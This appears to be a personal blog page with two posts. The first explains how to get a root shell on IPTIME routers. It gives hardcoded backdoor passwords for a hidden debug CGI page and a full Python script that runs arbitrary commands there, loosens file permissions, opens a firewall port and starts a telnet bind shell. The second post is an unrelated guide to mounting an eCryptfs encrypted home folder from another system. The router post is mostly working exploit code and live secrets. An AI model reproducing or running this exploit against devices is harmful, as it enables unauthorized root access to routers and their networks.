Getting shell access to your IPTIME router

This article in a nutshell

  • How to hack your iptime router and get complete access to its function
  • Works up to firmware v9.27
  • You need administrator password to do anything
  • The default administrator account for iptime is username admin / password admin
  • You can’t hack other people’s router with this as you need the admin account anyway, not to mention it’s illegal in Korea 😉

Introduction

IPTIME Is a popular router brand in Korea. You can’t ssh to it, you can’t telnet to it. But they have a backdoor where you can get shell access via the web interface…

How to access this

Check your firmware version, if the version is <= 9.12, the password is #notenoughmineral^, if the version is > 9.12 upto 9.27, it’s !@dnjsrurelqjrm*&. If newer, I don’t know the password yet.

Login to your router, note the second part of the URL, is it cgi-bin or sess-bin?

Go to http://<your router ip>/<second part above/d.cgi?aaksldkfj=<the password>

You should see a screen similar to above. Congrats, you got shell access to your router.

How to automate this

Install python3 and run this script

import requests
import sys

pass_old = '#notenoughmineral^'
pass_new = '!@dnjsrurelqjrm*&'

## file changed!
userid = ''
userpw = ''

_Passname = 'aaksjdkfj'
_Passkey = ''

_dest = '/sess-bin/d.cgi'
_setdest = '/sess-bin/timepro.cgi'

_startParam = {_Passname : _Passkey }
_commandParam = {'act':'1','fname':'','cmd':''}

# REMOTE_SUPPORT MANAGEMENT SWITCH!
_enable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=1&apcplan=1'
_disable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=0&apcplan=1'

### chmod disabled!
_telnet_check = 'ls -al /sbin'
_permission_enable = '/bin/chmod 777 /sbin/iptables'
_permission_enable2 = '/bin/chmod 777 /sbin/utelnetd'
_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp --dport 19091 -j ACCEPT'
#_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp -m -tcp --dport 2323 -j ACCEPT'
_get_iptables = '/sbin/iptables --list'
_telnet_enable_2 = '/sbin/utelnetd -p 19091'
_demon_mode = 'cat /default/var/boa_vh.conf'

sess = requests.session()

def get(args):
    return sess.get(url='http://%s%s' % (sys.argv[1], _dest), params=args).text

def startup():
    x = _startParam.copy()
    if get(x).find('Command Name : ') == -1:
        print ("[x] Not vulnerable machine! cannot access debugging page.")
        exit(0)
    print ("[o] Debugging page exist!")

def deleteChunk(ref):
    findx = ref.find('<font size=-1>')
    ref = ref[findx:]
    ref = ref.replace('<font size=-1>','')
    ref = ref.replace('\n</font><br>','')
    return ref

def bind_shell():
    x =_commandParam.copy()
    x['cmd'] = _telnet_check
    ref = get(x)
    findx = ref.find('<font size=-1>')
    ref = ref[findx:]
    ref = ref.replace('<font size=-1>','')
    ref = ref.replace('\n</font><br>','')
    if ref.find('utelnetd') == -1:
        print ('[x] OOPS! Could not found telnet demon.')
        print ('[x] no exploitable -.-')
        exit(0)
    x['cmd'] = _demon_mode
    ref = deleteChunk(get(x))
    if ref.find('root') == -1:
        print ('[x] OOPS! httpd demon is not running at root.')
        print ('[x] no exploitable -.-')
    else:
        print ('[!] Exploitable! we start working...')
        x =_commandParam.copy()
        sys.stdout.write('[!] Setting up iptables... ')
        x['cmd'] = _telnet_enable_1
        ref = get(x)
        x['cmd'] = _get_iptables
        ref = deleteChunk(get(x))
        if ref.find('19091') == -1 :
            sys.stdout.write('Failed!')
            return
        sys.stdout.write('OK!')
        print ('')
        print ('[!] Working telnet demon server...')
        x['cmd'] = _telnet_enable_2
        get(x)
        print ('[o] Binding shell command executed. check it yourself. (port:19091)')

def showcmd(cmd):
    x = _commandParam.copy()
    x['cmd'] = cmd
    ref = get(x)
    t = deleteChunk(ref)
    if t == '>' : return()
    print (t)

if __name__ == '__main__':

    print ('[iptime-debug.py] - Directiry Debugging IPTIME python module - command eXecuter!')
    print ('Support : IPTIME 7.?? - 9.72')
    print ('Copyright : jochiwon.tistory.com\n')
    print ('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
    print ('Type "exit" to exit, "bind-shell" to bind telnet connection to port 2323. (deprecated)')

    if len(sys.argv) < 3:
        print ('\n>>> python3 hostname firmware_version [userid] [userpw]\n')
        print('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
        exit(0)

    sys.argv[1] = sys.argv[1].replace('http://','')
    sys.argv[1] = sys.argv[1].replace('/','')

    if int(sys.argv[2]) is 0:
        _Passkey = pass_old
    else:
        _Passkey = pass_new

    try:
        userid = sys.argv[3]
        userpw = sys.argv[4]
        sess.auth = (userid, userpw)
    except:
        pass

    _commandParam['aaksjdkfj'] = _Passkey

    while True:
        sys.__stdout__.write (sys.argv[1] + '> ')
        x = input()
        if x == 'exit': exit(0)
        elif x == 'bind-shell': bind_shell()
        elif x != '' : showcmd(x)

How did people find this

reference: https://live2skull.tistory.com/5

  1. Download the firmware from IP Time’s website
  2. Extract the firmware with binwalk
  3. Extract the squashfs file inside the bundle
  4. Disassemble timepro.cgi (d.cgi is a link to timepro.cgi)
  5. Find “remote support” function
  6. The password should be nearby

How I tried it for more modern IPTIME routers

I did everything swimmingly up until step 4, I can’t find “remote support” on newer firmware (10.02) for the router A1004V I’m working on 🙁

Instead of IDA for Windows, I used ghidra, a disassembly framework by the NSA (thanks, NSA!). It’s free and very feature complete 🙂

Ghidra

Very nice UI eh? When I have time I’ll dig into it more, it’s probably still there somewhere

Recover encrypted home folder under Ubuntu / Kubuntu

The community documentation can be of great help, namely the following section

  1. If you use encrypted filenames (standard in Ubuntu >= 9.04) you have to do the following first:
    •  sudo ecryptfs-add-passphrase --fnek 
    •  Passphrase:  (Enter the mount passphrase you recorded when you setup the mount–this passphrase is different from your login passphrase.)
    • You should now get two lines looking like this:
    •  Inserted auth tok with sig [9986ad986f986af7] into the user session keyring 
    •  Inserted auth tok with sig [76a9f69af69a86fa] into the user session keyring  (write down the second value in the square brackets)
  2. Mount using sudo:
    •  sudo mkdir -p /home/username/Private  
    •  sudo mount -t ecryptfs /home/username/.Private /home/username/Private 
    •  Selection: 3  (use a passphrase key type)
    •  Passphrase:  (Enter the mount passphrase you recorded when you setup the mount–this passphrase is different from your login passphrase.)
    •  Selection: aes  (use the aes cipher)
    •  Selection: 16  (use a 16 byte key)
    •  Enable plaintext passthrough: n 
    •  Enable filename encryption: y  (This and the following options only apply if you are using filename encryption)
    •  Filename Encryption Key (FNEK) Signature:  (the value you wrote down from the second line above)

Problem is, like some folks at the Ubuntu forums, I encounted the following error when trying sudo mount -t encryptfs /source /destination:

Attempting to mount with the following options:
  ecryptfs_unlink_sigs
  ecryptfs_fnek_sig=xxx
  ecryptfs_key_bytes=16
  ecryptfs_cipher=aes
  ecryptfs_sig=xxx
Error mounting eCryptfs: [-2] No such file or directory
Check your system logs; visit

After fiddling around for a whole day, I finally figured out the problem: the blind confidence in Linux developers’ ability. You see, I used to believe Linux’s symlink always point to the same directory on the drive event after it was mounted somewhere else. So say if a link from your old drive, say ~/etc points to /etc, when you mount the root filesystem on another machine, it should now point to /media/mount/etc right? Wrong!

Problem is, the hidden .Private in the encrypted folder is only one such symlink, and when you attempted to mount it in another system, the symlink is broken. If you do a ls -l, you can see the symlink points to /home/.ecryptfs/<yourusername>/.Private relative to your old directory structure, so to successfully mount your encrypted folder, you shouldn’t mount /home/<yourusername>/.Private like mentioned in the tutorial, but instead

sudo mount -t ecryptfs /media/[old drive mount point]/home/.ecryptfs/[your old username]/.Private /home/[your new username]/[new mount point]

Problem solved!